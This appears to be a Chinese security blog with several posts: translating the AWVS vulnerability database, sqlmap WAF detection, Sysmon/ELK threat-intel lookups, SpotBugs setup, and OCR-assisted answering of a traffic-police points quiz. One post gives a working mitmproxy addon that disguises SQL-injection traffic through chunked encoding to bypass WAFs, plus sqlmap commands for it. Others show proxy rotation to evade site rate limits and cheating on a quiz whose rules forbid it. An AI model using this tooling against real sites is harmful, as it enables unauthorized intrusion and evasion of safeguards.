快速翻译awvs的漏洞库内容

发布时间:August 12, 2019 // 分类:开发笔记,linux,python,windows // No Comments

原本是想在某scan里面调用扫描器然后对这个进行漏洞内容翻译。查了一下说wdscanner里面有这个东西.可是本地倒入查看了一下发现真的很垃圾。

什么玩意,怎么跟wordpress对应上了。开始嗨以为看错, 仔细在数据裤里面翻了一下。还真是

我去。真的不太想说这个准确率,简直是查到了极点。想着反正本地安装awvs的时候都有带数据库。直接连接上去导出来自己翻译不就好了。有想法了就干,最近一直很懒哟,都没啥干头。本地虚拟机安装windows版本的,毕竟方便弄一些。
在C:\ProgramData\Acunetix Trial\settings.ini里面直接找到了连接的账户和密码。端口改成了45432,我记得11版本的是35432来着

把表导出来,然后想法是逐行去读取。把内容翻译了重新写入到另外一个表。最后再导回自己的数据库。翻译对比了下翻译的效率和方便,最后选择了百度的api。但是这个需要注意,咱们翻译的内容字数肯定超过200W.所以最好的是在一天内翻译完,不然就会提示被限制,也可以多准备几组api来避免这个尴尬的问题。

首先解决翻译的问题

def trans_baidu(q):
    """
    :param q:
    :param fromLang:
    :param toLang: zh简体 en英文
    :return:
    """
    url = "http://api.fanyi.baidu.com/api/trans/vip/translate"
    appid = '2019081xxxxxxxxxxx'  # 你的appid
    secretKey = 'w16M0ZXhHxxxxxxxxxxx'  # 你的密钥
    salt = str(random.randint(32768, 65536))
    # 生成签名
    # 部分内容是空的,直接返回出去
    if not q:
        return ""
    sign = appid + q + salt + secretKey
    sign = hashlib.md5(sign.encode()).hexdigest()
    data = {
        "appid": appid,
        "q": q,
        "from": 'en',
        "to": 'zh',
        "salt": salt,
        "sign": sign,
    }
    i = 0
    while i < 3:
        try:
            r = requests.post(url, data=data, timeout=120)
            return r.json().get('trans_result')[0].get("dst")
        except requests.exceptions.RequestException:
            i += 1

再就读取xlsx表格读内容,这里使用的是openpyxl。去处理的是话考虑都网速的稳定性因素,延迟了3秒。

def readExcel(ExcelFullName):
    """
    : 读取表
    : 循环去翻译
    """
    wb = load_workbook(ExcelFullName)
    sheets = wb.get_sheet_names()
    # # 第一个表格的名称
    sheet_first = sheets[0]
    # # 获取特定的worksheet
    #
    ws = wb.get_sheet_by_name(sheet_first)
    rows = ws.rows
    columns = ws.columns
    # 迭代所有的行
    for row in rows:
        item = {}
        line = [col.value for col in row]
        if str(line[0])!='id' and int(line[0]) >= 1:
            print line[0]
            write_xlsx(line)
            time.sleep(3)
        #print 'name_en',line[1],'impact',line[3],'description',line[4],'recommendation',line[5]

然后就创建另外一个表格来存这些翻译后的内容。这些字段直接引用来wdscanner的字段

def creat_xlsx():
    """
    : 创建表
    : 预先设定好
    """
    ExcelFullName= './vuln_xx.xlsx'
    if ExcelFullName:
        s = 0
        wb = Workbook()
        ws1 = wb.active
        word=['name_en','name_zh','level','miaoshu_en','miaoshu_zh','harm_en','harm_zh','repaire_en','repaire_zh']
        for i in word:
            s = s + 1
            ws1.cell(row =1,column = s,value = i)
        wb.save(filename=ExcelFullName)

最后就是写入了。

def write_xlsx(line):
    """
    : 对结果进行处理
    : 写进翻译后的内容
    """
    vulnfile = './vuln_xx.xlsx'
    wb = load_workbook(vulnfile)
    sheet1 = wb['Sheet']
    num = sheet1.max_row
    sheet1.cell(row = num+1,column = 1,value = line[1])
    sheet1.cell(row = num+1,column = 2,value = trans_baidu(line[1]))
    sheet1.cell(row = num+1,column = 3,value = match(line[2]))
    sheet1.cell(row = num+1,column = 4,value = line[3])
    sheet1.cell(row = num+1,column = 5,value = trans_baidu(line[3]))
    sheet1.cell(row = num+1,column = 6,value = line[4])
    sheet1.cell(row = num+1,column = 7,value = trans_baidu(line[4]))
    sheet1.cell(row = num+1,column = 8,value = line[5])
    sheet1.cell(row = num+1,column = 9,value = trans_baidu(line[5]))
    wb.save(vulnfile)

整个流程就结束了。最后展示下

提供一份翻译结束后的。因为是机器翻译的,所以好多东西看起来有点惨不忍睹。
vuln_xx.xlsx

sqlmap自带的waf识别体验

发布时间:July 16, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

今天晚上更新sqlmap的时候意外的发现多了一些内容

 create mode 100644 thirdparty/identywaf/LICENSE
 create mode 100644 thirdparty/identywaf/__init__.py
 create mode 100644 thirdparty/identywaf/data.json
 create mode 100755 thirdparty/identywaf/identYwaf.py
 delete mode 100644 waf/360.py
 delete mode 100644 waf/__init__.py
 delete mode 100644 waf/aesecure.py
 delete mode 100644 waf/airlock.py
 delete mode 100644 waf/anquanbao.py
 delete mode 100644 waf/approach.py
 delete mode 100644 waf/armor.py
 delete mode 100644 waf/asm.py

删除了以前的waf/xxxx.py的内容,多了一个identywaf/identYwaf.py和identywaf/data.json

可以看到一堆参数

Usage: python identYwaf.py [options] <host|url>

Options:
  --version           Show program's version number and exit
  -h, --help          Show this help message and exit
  --delay=DELAY       Delay (sec) between tests (default: 0)
  --timeout=TIMEOUT   Response timeout (sec) (default: 10)
  --proxy=PROXY       HTTP proxy address (e.g. "http://127.0.0.1:8080")
  --proxy-file=PRO..  Load (rotating) HTTP(s) proxy list from a file
  --random-agent      Use random HTTP User-Agent header value
  --code=CODE         Expected HTTP code in rejected responses
  --string=STRING     Expected string in rejected responses
  --post              Use POST body for sending payloads

利用MitmProxy实现http协议分块传输绕过自动脚本

发布时间:July 7, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

主要是在某xxx里面遇到了.直接测试发现被拦截,碰巧搜到了http协议分块传输绕过waf。还给出了yi g一个burp的插件地址chunked-coding-converter.但是我要是sqlmap跑的话,好像不是很方便!(其实这错了。好像可以全局给设置的.这个是后话)

想到了使用代理把数据给改变一下。还真让我搜到了有人做过类似的东西了sqlmap_chunked_proxy.只是我实际测试的适合好像发现一直报错

[+] chunked Succeeded
Traceback (most recent call last):
  File "sqlmap_chunked_proxy.py", line 121, in <module>
    aa = hack.httpraw(raw)
  File "/usr/local/lib/python3.7/site-packages/HackRequests/HackRequests.py", line 220, in httpraw
    conn.putheader(k, v)
  File "/usr/local/Cellar/python/3.7.3/Frameworks/Python.framework/Versions/3.7/lib/python3.7/http/client.py", line 1197, in putheader
    raise ValueError('Invalid header name %r' % (header,))
ValueError: Invalid header name b''

改了半天也不知道啥问题,还发现实际测试的时候发现cookie丢失了,好多问题索性修改一个吧。

修改抓包截包改报还得首推mitmproxy.直接写一个插件就可以修改了,这类借鉴了sqlmap_chunked_proxy的编码方式。很容易就实现了一个

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
mitmdump -k -s chunked_proxy.py -p 9999
'''

import mitmproxy.http
from mitmproxy import ctx
import random,string


def Confuse():
    Confuse = ''.join(random.sample(string.ascii_letters + string.digits,random.randint(1,9)))
    return Confuse

def payloadlistnum(s):
    while True:
        n = random.randint(1, len(s))
        num = len(s) / n
        if num < 9:
            return n

def payloadlist(s, n):
    fn = len(s) // n
    rn = len(s) % n
    sr = []
    ix = 0
    for i in range(n):
        if i < rn:
            sr.append(s[ix:ix + fn + 1])
            ix += fn + 1
        else:
            sr.append(s[ix:ix + fn])
            ix += fn
    return (sr)

def payload2(s,n):
    payload2 =''
    for i in payloadlist(s, n):
        if len(i) == 0:
            pass
        else:
            payload2 = payload2 + str(len(i))+';'+Confuse()+'\n'+str(i)+'\n'
    payload2 = payload2 + '0' + '\n' + '\n'
    return (payload2)

def tamper(s):
    n = payloadlistnum(s)
    return (payload2(s,n))

class Counter:

    def __init__(self):
        pass

    def request(self, flow: mitmproxy.http.HTTPFlow):
        #add Transfer-Encoding: chunked
        if flow.request.method == "POST":
            try:
                if flow.request.headers['Content-Length']:
                    flow.request.headers["Transfer-Encoding"] = "chunked"
                content = tamper(flow.request.text)
            except:
                content = flow.request.text
            # get request body
            flow.request.text =  content
            ctx.log.info("Request Data: %s" % str(flow.request.text))
        else:
            flow.request.text = flow.request.text

    def response(self,flow: mitmproxy.http.HTTPFlow):
        flow.response.content = flow.response.content
        ctx.log.info("Response Data: %s" % str(flow.response.text))

addons = [
    Counter()
]

使用方法也是很简单的.首先启一个代理

mitmdump -k -s chunked_proxy.py -p 9999

然后调用sqlmap来跑,需要把流量过代理

python sqlmap.py -r ~/Downloads/123 --level 3 --risk 1 --random-agent --proxy=http://127.0.0.1:9999 -p UseerName --tech E -p UserName --dbms 'Microsoft SQL Server'

其实也可以利用burp开启全局chunked以后走burp的代理

python sqlmap.py -r ~/Downloads/123 --level 3 --risk 1 --random-agent --proxy=http://127.0.0.1:8080 -p UseerName --tech E -p UserName --dbms 'Microsoft SQL Server'

在Maven下初识find-sec-bugs

发布时间:April 21, 2019 // 分类:开发笔记,代码学习,windows,代码审计 // No Comments

最近拿到了几个JAVA的程序需要看,无奈不懂得JAVA,在全球最大的同性恋交友网站上看到了一个神奇的工具find-sec-bugs,介绍说Find Security Bugs是SpotBugs插件,用于Java Web应用程序的安全审核。在它的主页上看到了支持N多漏洞和支持好多的框架。还与各种IDE集成插件。


说了这么多,这个其实就是一个类似于支持OWASP TOP10的代码检查的工具,各种IDE上可以集成插件支持。

刚好手里面有一个Eova快速开发框架的源码,同时提到了需要Maven

Maven的安装和必要配置:

#1下载Maven
maven-x.x.x下载: (推荐使最新的版本)
apache-maven-x.x.x-bin.zip
下载其它版本:
http://maven.apache.org/download.cgi

#2 添加Maven环境变量
添加新的系统环境变量MAVEN_HOME, 并设置其值为你安装的目录
MAVEN_HOME=D:\maven\apache-maven-3.5.0
更新系统PATH 变量, 添加;%MAVEN_HOME%\bin;到尾部

#3 测试maven配置是否成功
打开cmd窗口,输入mvn -v,如果有maven 版本信息输出则证明配置成功,否则请查看自己配置路径等是否正确。
C:\Users\Administrator>mvn -v


#4自定义远程仓库地址为国内最快的镜像,否则可能需要翻墙!

好吧,鉴于此。咱们测试一下这个SpotBugs,根据文档使用SpotBugs Maven插件
修改POM.XML,将spotbugs-maven-plugin添加到pom.xml中

<plugin>
  <groupId>com.github.spotbugs</groupId>
  <artifactId>spotbugs-maven-plugin</artifactId>
  <version>3.1.11</version>
  <dependencies>
    <!-- overwrite dependency on spotbugs if you want to specify the version of spotbugs -->
    <dependency>
      <groupId>com.github.spotbugs</groupId>
      <artifactId>spotbugs</artifactId>
      <version>4.0.0-beta1</version>
    </dependency>
  </dependencies>
</plugin>

实际上是在plugins里面找到一处来添加,根据大佬们的提示

            </plugin>
            <plugin>
              <groupId>com.github.spotbugs</groupId>
              <artifactId>spotbugs-maven-plugin</artifactId>
              <version>3.1.11</version>
                <dependencies>
                <!-- overwrite dependency on spotbugs if you want to specify the version of spotbugs -->
                <dependency>
                  <groupId>com.github.spotbugs</groupId>
                  <artifactId>spotbugs</artifactId>
                  <version>4.0.0-beta1</version>
                </dependency>
              </dependencies>
            </plugin>
        </plugins>

然后我本地用的时候还发现一个地方需要修改,就是提示JDK和JAR的问题冲突

<plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.0</version>
                <configuration>
                    <fork>true</fork>
                    <executable>
                            C:\Program Files\Java\jdk1.8.0_201\bin\javac.exe
                    </executable>
                    <source>${jdk.version}</source>
                    <target>${jdk.version}</target>
                    <showWarnings>true</showWarnings>
                    <encoding>${project.build.sourceEncoding}</encoding>
                </configuration>
            </plugin>

然后就是对项目进行编译和扫描

mvn compile -X -e
mvn spotbugs:spotbugs

程序会去拉一大堆的依赖什么的到本地。咱们就等着结束就好了。


扫描的结果一般是放在 target/findbugsXml.xml 这个结果还ky可以用于JENKINS来读取。但是咱们没有那么多的环境,直接上GUI环境看看

mvn spotbugs:gui


还可以具体的看一下是什么问题。

参考

  1. https://github.com/find-sec-bugs/find-sec-bugs/wiki/Maven-configuration
  2. https://spotbugs.readthedocs.io/en/latest/maven.html#add-spotbugs-maven-plugin-to-your-pom-xml
  3. https://www.cnblogs.com/jekaysnow/p/9550094.html

windows进程监控之恶意识别

发布时间:January 11, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

前不久更新了针对windows下命令记录的种种,并利用beat对系统进行监控。达到了利用winlogbeat来发送sysmon记录的日志到logstash.采用elk进行统一展示的过程。这些主要的目的就是收集所有的日志,但是还缺少对日志的进一步分析。因此对这个想法做了一个简单的demo

PS:现场部署以后会发现大量的数据写入es的时候会超时,导致数据写入不完整。想着在中间放一个中间件来缓冲一下写入的频率.这里选择来kafka来实现

简单的数据拉取

import time
from elasticsearch.exceptions import TransportError
from elasticsearch import Elasticsearch
from units import match_rule

es = Elasticsearch()

"""
ssh -CfNg -L 9200:127.0.0.1:9200 root@192.168.0.xxx
ssh -CfNg -L 5601:127.0.0.1:5601 root@192.168.0.xxx
"""
index = 'windowsevt*'

query = '''{
       "query":{
            "bool":{
                "must":[
                    {
                        "match":{
                            "source_name":"Sysmon"
                        }
                    },
                    {
                        "term":{
                            "event_id":1
                        }
                    }
                ]
            }
        },
      "sort":{
            "@timestamp":{ 
                "order":"asc"
            }
        },
    "from": 0,
    "size": 20
}'''
try:
    resp = es.search(index, body=query)
    total = resp['hits']['total']
    print total
    for item in resp['hits']['hits']:
        print match_rule(item['_source']['event_data'])
except TransportError as e:
    print(e.info)

当把数据从es拉出来以后需要从三个维度进行分析(hash,命令和进程产生网络)

利用hash进行匹配,默认记录的是sha1,但是加载了配置文件后改成了md5/sha256.主要依靠的是第三方的一些平台来进行匹配。分别采了ti.360.net和s.threatbook.cn两个。但是发现360对相关的搜索有限制(但是提供了api搜索,不过没有找到),微步还好一些(提供api搜索和爬虫两种)。最后采用了微步的搜索结果。

class Threatbook(object):

    def __init__(self,hashes,method):
        self._hash = hashes
        self._method = method
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'application/json, text/javascript, */*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'Cookie': 'session=cookies',
            'Origin': 'https://s.threatbook.cn',
            'Content-Type': 'application/json',
            'Cookie': 'cookies'
        }
        self.webu = {
            'malicious':'检测为恶意文件', 
            'suspicious':'提示为可疑文件', 
            'clean':'文件暂未发现可疑'
        }


    def get_result_api(self,sandbox_type,sha256):
        url = 'https://s.threatbook.cn/api/v2/file/report'
        data = ("apikey=apikey&sandbox_type={sandbox_type}&sha256={sha256}").format(sandbox_type=sandbox_type,sha256=sha256)
        #print data
        response = requests.get(url+"?"+data,timeout=30,verify=False)
        content = json.loads(response.content)
        return json.dumps(content['data']['summary'])

    def get_result(self):
        item = {}
        url0 = "https://s.threatbook.cn/api/v3/webpage/search"
        url1 = "https://s.threatbook.cn/api/v3/webpage/summary/{sha256}"
        url2 = "https://s.threatbook.cn/api/v3/webpage/static/{sha256}"
        url3 = "https://s.threatbook.cn/api/v3/webpage/sandbox/{sha256}"
        data = '''{"method":"md5hases"}'''
        try:
            resp0 = self._request.post(url0,data=data.replace('md5hases',self._hash).replace('method',self._method),headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            info = ""
            try:
                if "multi_engines" in str(content0['data']):
                    item["multi_engines"] = content0['data'][0]["multi_engines"]
            except:
                pass
            try:
                if "judgment" in str(content0['data']):
                    item["judgment"] = content0['data'][0]["judgment"]
            except:
                pass

            for xfile in content0['data']:
                info = xfile['sha256'] + "-"+ xfile['sandbox_type']

            if len(info)==0:
                return item

            url1 = url1.format(sha256=info)
            url2 = url2.format(sha256=str(info.split('-')[0]))
            url3 = url3.format(sha256=str(info))

            resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            content1 = json.loads(resp1.content)
            tables = content1['data']
            tagx = []
            for table in tables:
                if table == "threat_level":
                    item[table] = self.webu.get(tables[table])
                elif table == "tag":
                    for name in tables[table]:
                        tagx.extend(tables[table][name])
                    item[table] = list(set(tagx))
                else:
                    item[table] = tables[table]
            resp2 = self._request.get(url2,headers=self._headers,timeout=30,verify=False)
            content2 = json.loads(resp2.content)
            basics = content2['data']['basic']
            for basic in basics:
                item[basic] = basics[basic]

            resp3 = self._request.get(url3,headers=self._headers,timeout=30*2,verify=False)
            content3 = json.loads(resp3.content)
            iocs = content3['data']['ioc']
            if len(iocs)>0:
                item["ioc"] = iocs
            mtasg = []
            for iocx in iocs:
                mtasg.extend(iocx['tag_list'])
            if len(list(set(mtasg)))>0:
                item["ioctag"] = list(set(mtasg))
            return json.dumps(item)

        except Exception as why:
            print "error",why
            traceback.print_exc()

这里还可以对文件hash做一个去重查询的处理,一旦确定某些文件的hash是正常的就没有必要调用查询接口,还可以节省资源。

匹配参数进程信息。主要是针对一些探测类的命令。这种命令不是恶意进程,是系统自带的一些。因此对其增加规则来达到检测恶意命令的匹配。

(这里采取regex和match两种方式,因此在match的时候误报率有点高)一旦匹配上就输出可以信息

def match_rule(event_data):
    hashes = event_data['Hashes']
    if "," in hashes:
        Hashe = hashes.split(',')[0]
    else:
        Hashe = hashes
    method,nhashes = str(Hashe.split('=')[0]).lower(),str(Hashe.split('=')[1]).lower()
    ti = Threatbook(nhashes,method)
    print ti.get_result()
    for name in event_data:
        if name in ["ParentCommandLine","CommandLine","Image","ParentImage"]:
            result = check_rule(event_data[name])
            if len(result)>0:
                print name,event_data[name],json.dumps(result)

网络地址匹配主要是根据event_id为3的网络进程来实现的。这里弄了好久,只能用一个受限制的地址来实现

class Venuseye(object):
    def __init__(self,ip):
        self._ip = ip
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': 'https://www.venuseye.com.cn/ip/',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
        }

    def get_ip_res(self):
        item = {}
        url = "https://www.venuseye.com.cn/ve/ip"
        data = "target="+str(self._ip)
        try:
            resp = requests.post(url,data=data,headers=self._headers,timeout=30,verify=False)
            if resp.status_code !=200:
                return item
            content = json.loads(resp.content)
            print json.dumps(content['data'])
        except Exception as why:
            print "error",why
            traceback.print_exc()

实际测试并发量高了以后,直接就被拦截了。真特么难受,所有还需要一个代理池来维持访问结果。

appKeys = [apikeys
]

def general(appKey):
    flag = False
    ip_port = 'someprooxys'
    proxy = {"http": "http://" + ip_port, "https": "https://" + ip_port}
    headers = {"Authorization": 'Basic '+ appKey}
    try:
        r = requests.get("http://pv.sohu.com/cityjson?ie=utf-8", headers=headers, proxies=proxy,verify=False,allow_redirects=False,timeout=30)
        if r.status_code == 200:
            ip_str = re.findall(r'\{[\s\S]+\}',r.content.decode('utf-8'))
            if len(ip_str)>0:
                flag = appKey
                return flag
    except Exception as e:
        traceback.print_exc()
        print(str(e),appKey)
        return flag

class Ti_360(object):

    def __init__(self,hashes):
        self._hash = hashes
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest'
        }
        self.proxy = {"http": "http://someprooxys", "https": "https://someprooxys"}


    def get_proxy(self):
        import random
        appkey = False
        appKey = random.choice(appKeys)
        appkey = general(appKey)
        if not appkey:
            appkey = general(appKey)
        return appkey

    def get_filehash(self):
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=file&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=file&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return
            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "table" in str(content1['data'][xfile]):
                    if len(content1['data'][xfile]['table'])>0:
                        tables = content1['data'][xfile]['table'][0]
                        return json.dumps(tables)

        except Exception as why:
            print "error",why
            traceback.print_exc()

    def get_ipioc(self):
        item = {}
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=ip&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=ip&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return

            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "ip_attribute" in xfile:
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                item[name] = content1['data'][xfile]['table'][name]
                elif "ip_ioc_detect" in xfile:
                    ioctag = []
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                ioctag.extend(name['tags'])
                    if len(list(set(ioctag)))>0:
                        item['ioctag'] = list(set(ioctag))
                elif "ip_tag" in xfile:
                    iptag = set()
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                try:
                                    iptag.add(str(name['platform'])+" "+str(name['type'])+" "+ str(name['tag']))
                                except:
                                    try:
                                        iptag.add(str(name['type'])+" "+ str(name['tag']))
                                    except:
                                        iptag.add(str(name['tag']))

                    if len(list(iptag))>0:
                        item['iptag'] = list(iptag)
                elif "ip_try_connect" in xfile:
                    ipconnect = set()
                    if "table" in str(content1['data'][xfile]):
                        for name in content1['data'][xfile]['table']:
                            try:
                                ipconnect.add(str(name['malicious_family']+" " + str(name['malicious_type'])))
                            except:
                                try:
                                    ipconnect.add(str(name['malicious_family']))
                                except Exception as e:
                                    ipconnect.add(str(name['malicious_type']))
                    if len(list(ipconnect))>0:
                        item['iptry'] = list(ipconnect)
            if len(item)>0:
                item['ipaddr'] = self._hash
            return json.dumps(item)
        except Exception as why:
            print "error",why
            traceback.print_exc()

测试效果如下

[{"is_proxy": false, "whitelist": "1", "ipaddr": "52.4.209.250", "user_type": "\u5883\u5916IDC", "ioctag": ["SUPPOBOX", "WWW.DSHIELD.ORG", "BOTNET", "REV 3807", "C&C", "MALICIOUS", "TROJAN-ACTIVITY", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=IPBLOCKLIST", "DDOS", "DDOS TARGET", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=BADIPS"], "proxy_type": "", "location": "\u7f8e\u56fd/\u5f17\u5409\u5c3c\u4e9a\u5dde/\u963f\u4ec0\u672c", "iptag": ["RTF", "Windows \u8fdc\u63a7\u6728\u9a6c SUPPOBOX", "RANSOMWARE", "Windows \u8fdc\u63a7\u6728\u9a6c RANBYUS", "Windows \u8fdc\u63a7\u6728\u9a6c TINBA", "Windows \u8fdc\u63a7\u6728\u9a6c RAMDO", "LOCKY", "Windows \u8fdc\u63a7\u6728\u9a6c RAMNIT"], "asn": "AS14618 Amazon.com, Inc.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "185.198.59.121", "user_type": "\u5883\u5916IDC", "ioctag": ["C2", "DDOS", "MALICIOUS"], "proxy_type": "", "location": "\u7f57\u9a6c\u5c3c\u4e9a/\u5e03\u52a0\u52d2\u65af\u7279", "iptag": ["Windows \u7a83\u5bc6\u6728\u9a6c FORMBOOK", "CVE-2017-11882"], "asn": "AS60117 Host Sailor Ltd.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "23.236.76.75", "user_type": "\u5883\u5916IDC", "asn": "AS134835 Starry Network Limited", "location": "\u7f8e\u56fd/\u52a0\u5229\u798f\u5c3c\u4e9a\u5dde/\u6d1b\u6749\u77f6", "ioctag": ["DDOS", "MALICIOUS"], "proxy_type": "", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "91.229.79.184", "user_type": "\u5883\u5916IDC", "asn": "AS42331 PE Freehost", "location": "\u4e4c\u514b\u5170/\u57fa\u8f85", "iptag": ["PATCHWORK", "DROPPING ELEPHANT", "APT"], "proxy_type": "", "is_idc": true}]


这里还需要增加一个机制,一旦匹配失败需要标记重新匹配。不然一旦访问出错就没有办法匹配到了

demo的结果如下.

后续想着对全部数据进行入库展示,利用mongodb或者mysql来作为后端数据库支持。前端利用flask或者tornado 来展示。

PS:后面改进了,利用loki的IOC来识别了

关于半自动刷某交警答题赢积分

发布时间:July 27, 2018 // 分类:开发笔记,工作日志,代码学习,linux,python,生活琐事 // 2 Comments

最近在为了被扣分的事情一直烦恼。朋友推荐XX交警答题赢积分可以处理交通违章扣分。

关于XX交警答题赢积分

XX交警答题赢积分可以处理交通违章扣分。

规则:

  1. 系统随机生成试题,在规定时间内答题正确率在90%以上可以获得1分。

  2. 每个驾驶证每天最多可获得1分,最高可获得6分。

  3. 答题所获积分可用于自主处理交通违法时冲抵所绑定的轻微交通违法记分。

  4. 冲抵交通违法记分后,答题积分小于6分时,可以继续答题获得积分。

  5. 如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

发现确实是一个好东西。但是我这种科目一过了就再也没有看过书的懒人来说.好多都答不上来。今天和一被扣分的同事说起,同事提示说是不是可以做一个类似题库的东西来匹配对应的东西。就类似于抓取题目来匹配自身有的答题库。想了一下,应该是可以的。

简单的思路就是:首先我们可以通过截屏,通过剪切特定区域的图片,然后通过ocr来识别里面的文字。再根据文字去搜索,在某些在线提供的题库应该可以匹配到具体的内容。

首先截屏,因为我是安卓手机,所以就非常方便了。

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png .

就可以把图片拉回到本地了。前提是手机需要开启开发者选项的USB调试功能。不同的手机开启方式不一样,具体自己去百度。

拿到图片以后对图片进行剪切。获取特定区域内的地址。主要是为了去除手机顶上的那些标志。在ocr识别的时候排出干扰项。

# 切割题目+选项区域,左上角坐标和右下角坐标,自行测试分辨率
    combine_region = "10, 250, 1050, 1400".replace(' ','').split(',')
    combine_region = list(map(int, combine_region))
    region_im = image.crop((combine_region[0], combine_region[1], combine_region[2], combine_region[3]))

    img_byte_arr = io.BytesIO()
    region_im.save(img_byte_arr, format='PNG')

    image_data = img_byte_arr.getvalue()

这里使用的是百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
python需要安装baidu-aip
然后调用 百度OCR API去识别里面的文字

    response = client.basicGeneral(image_data)
    words_result = response['words_result']

    texts = [x['words'] for x in words_result]

因为选项里面必定有A:开始,所以一旦发现了A:就必定是选项开始。识别的ocr里面没有图片,避免了干扰

    if len(choices)>2:

        # 处理出现问题为两行或三行
        if str(choices[1]).find("A:") !=-1:
            print "quest"
            question += choices[0]
            choices.pop(0)
        elif "A:" in str(choices[2]):
            question += choices[0]
            question += choices[1]
            choices.pop(0)
            choices.pop(0)

    answer = ""
    for x in choices:
        answer += x +"\n"

    print("获取的问题:")
    print(question)
    print("提供的选项:")
    print(answer)

